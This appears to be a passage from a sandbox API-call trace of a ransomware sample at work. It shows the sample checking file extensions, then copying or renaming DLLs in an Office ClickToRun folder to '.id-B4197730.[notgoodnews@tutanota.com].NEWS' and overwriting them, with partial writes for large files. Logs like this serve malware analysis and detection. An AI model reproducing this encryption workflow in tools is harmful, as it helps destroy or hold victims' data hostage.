(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.266] lstrlenW (lpString=".zip") returned 4 [0082.266] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.266] lstrlenW (lpString=".rar") returned 4 [0082.266] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.266] lstrlenW (lpString=".bz2") returned 4 [0082.267] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.267] lstrlenW (lpString=".7z") returned 3 [0082.267] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.267] lstrlenW (lpString=".dbf") returned 4 [0082.267] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.267] lstrlenW (lpString=".1cd") returned 4 [0082.267] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.267] lstrlenW (lpString=".jpg") returned 4 [0082.267] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.267] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.267] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0082.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0082.267] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=24768) returned 1 [0082.267] CloseHandle (hObject=0x2c4) returned 1 [0082.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0082.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0082.268] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.268] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0082.268] GetLastError () returned 0x0 [0082.268] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0082.270] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0082.271] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.271] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x112, lpOverlapped=0x0) returned 1 [0082.272] SetEndOfFile (hFile=0x36c) returned 1 [0082.272] CloseHandle (hObject=0x36c) returned 1 [0082.273] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.273] SetEndOfFile (hFile=0x2c4) returned 1 [0082.274] CloseHandle (hObject=0x2c4) returned 1 [0082.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.274] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0082.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.275] lstrlenW (lpString=".doc") returned 4 [0082.275] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.275] lstrlenW (lpString=".docx") returned 5 [0082.275] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.275] lstrlenW (lpString=".pdf") returned 4 [0082.275] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.275] lstrlenW (lpString=".xls") returned 4 [0082.275] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.275] lstrlenW (lpString=".xlsx") returned 5 [0082.275] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.275] lstrlenW (lpString=".ppt") returned 4 [0082.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.275] lstrlenW (lpString=".zip") returned 4 [0082.275] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.275] lstrlenW (lpString=".rar") returned 4 [0082.275] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.275] lstrlenW (lpString=".bz2") returned 4 [0082.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.275] lstrlenW (lpString=".7z") returned 3 [0082.275] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.275] lstrlenW (lpString=".dbf") returned 4 [0082.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.275] lstrlenW (lpString=".1cd") returned 4 [0082.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.275] lstrlenW (lpString=".jpg") returned 4 [0082.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.276] lstrlenW (lpString=".doc") returned 4 [0082.276] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.276] lstrlenW (lpString=".docx") returned 5 [0082.276] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.276] lstrlenW (lpString=".pdf") returned 4 [0082.276] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.276] lstrlenW (lpString=".xls") returned 4 [0082.276] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.276] lstrlenW (lpString=".xlsx") returned 5 [0082.276] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.276] lstrlenW (lpString=".ppt") returned 4 [0082.276] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.276] lstrlenW (lpString=".zip") returned 4 [0082.276] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.276] lstrlenW (lpString=".rar") returned 4 [0082.276] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.276] lstrlenW (lpString=".bz2") returned 4 [0082.276] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.276] lstrlenW (lpString=".7z") returned 3 [0082.276] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.276] lstrlenW (lpString=".dbf") returned 4 [0082.276] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.276] lstrlenW (lpString=".1cd") returned 4 [0082.276] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0082.276] lstrlenW (lpString=".jpg") returned 4 [0082.276] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.277] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.277] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0082.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0082.277] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=24768) returned 1 [0082.277] CloseHandle (hObject=0x2c4) returned 1 [0082.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0082.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0082.277] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.277] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0082.278] GetLastError () returned 0x0 [0082.278] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0082.783] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0082.784] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.784] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x114, lpOverlapped=0x0) returned 1 [0082.784] SetEndOfFile (hFile=0x36c) returned 1 [0082.784] CloseHandle (hObject=0x36c) returned 1 [0082.788] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.788] SetEndOfFile (hFile=0x2c4) returned 1 [0082.789] CloseHandle (hObject=0x2c4) returned 1 [0082.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.789] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0082.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.790] lstrlenW (lpString=".doc") returned 4 [0082.790] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.790] lstrlenW (lpString=".docx") returned 5 [0082.790] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.790] lstrlenW (lpString=".pdf") returned 4 [0082.790] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.790] lstrlenW (lpString=".xls") returned 4 [0082.790] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.790] lstrlenW (lpString=".xlsx") returned 5 [0082.790] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.790] lstrlenW (lpString=".ppt") returned 4 [0082.790] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.790] lstrlenW (lpString=".zip") returned 4 [0082.790] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.790] lstrlenW (lpString=".rar") returned 4 [0082.790] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.790] lstrlenW (lpString=".bz2") returned 4 [0082.790] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.790] lstrlenW (lpString=".7z") returned 3 [0082.790] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.790] lstrlenW (lpString=".dbf") returned 4 [0082.790] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.790] lstrlenW (lpString=".1cd") returned 4 [0082.790] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.790] lstrlenW (lpString=".jpg") returned 4 [0082.790] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.791] lstrlenW (lpString=".doc") returned 4 [0082.791] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.791] lstrlenW (lpString=".docx") returned 5 [0082.791] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.791] lstrlenW (lpString=".pdf") returned 4 [0082.791] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.791] lstrlenW (lpString=".xls") returned 4 [0082.791] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.791] lstrlenW (lpString=".xlsx") returned 5 [0082.791] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.791] lstrlenW (lpString=".ppt") returned 4 [0082.791] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.791] lstrlenW (lpString=".zip") returned 4 [0082.791] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.791] lstrlenW (lpString=".rar") returned 4 [0082.791] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.791] lstrlenW (lpString=".bz2") returned 4 [0082.791] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.791] lstrlenW (lpString=".7z") returned 3 [0082.791] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.791] lstrlenW (lpString=".dbf") returned 4 [0082.791] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.791] lstrlenW (lpString=".1cd") returned 4 [0082.791] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0082.791] lstrlenW (lpString=".jpg") returned 4 [0082.791] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.792] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.792] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0082.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0082.792] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1761448) returned 1 [0082.792] CloseHandle (hObject=0x2c4) returned 1 [0082.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0082.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0082.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0082.793] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc64 | out: lpNewFilePointer=0x0) returned 1 [0082.793] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0082.793] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3805058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.797] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0082.797] ReadFile (in: hFile=0x2c4, lpBuffer=0x3845058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3845058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.814] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c1fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.814] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0082.814] ReadFile (in: hFile=0x2c4, lpBuffer=0x3885058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3885058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0082.830] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.830] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2c1fca8, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0083.384] SetEndOfFile (hFile=0x2c4) returned 1 [0083.385] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3e3ba78 [0083.389] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0083.389] WriteFile (in: hFile=0x2c4, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.391] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0083.391] WriteFile (in: hFile=0x2c4, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.394] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0083.394] WriteFile (in: hFile=0x2c4, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0083.397] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0083.397] CloseHandle (hObject=0x2c4) returned 1 [0083.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0083.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0083.398] lstrlenW (lpString=".doc") returned 4 [0083.398] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.398] lstrlenW (lpString=".docx") returned 5 [0083.398] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0083.398] lstrlenW (lpString=".pdf") returned 4 [0083.398] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.398] lstrlenW (lpString=".xls") returned 4 [0083.398] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.398] lstrlenW (lpString=".xlsx") returned 5 [0083.398] 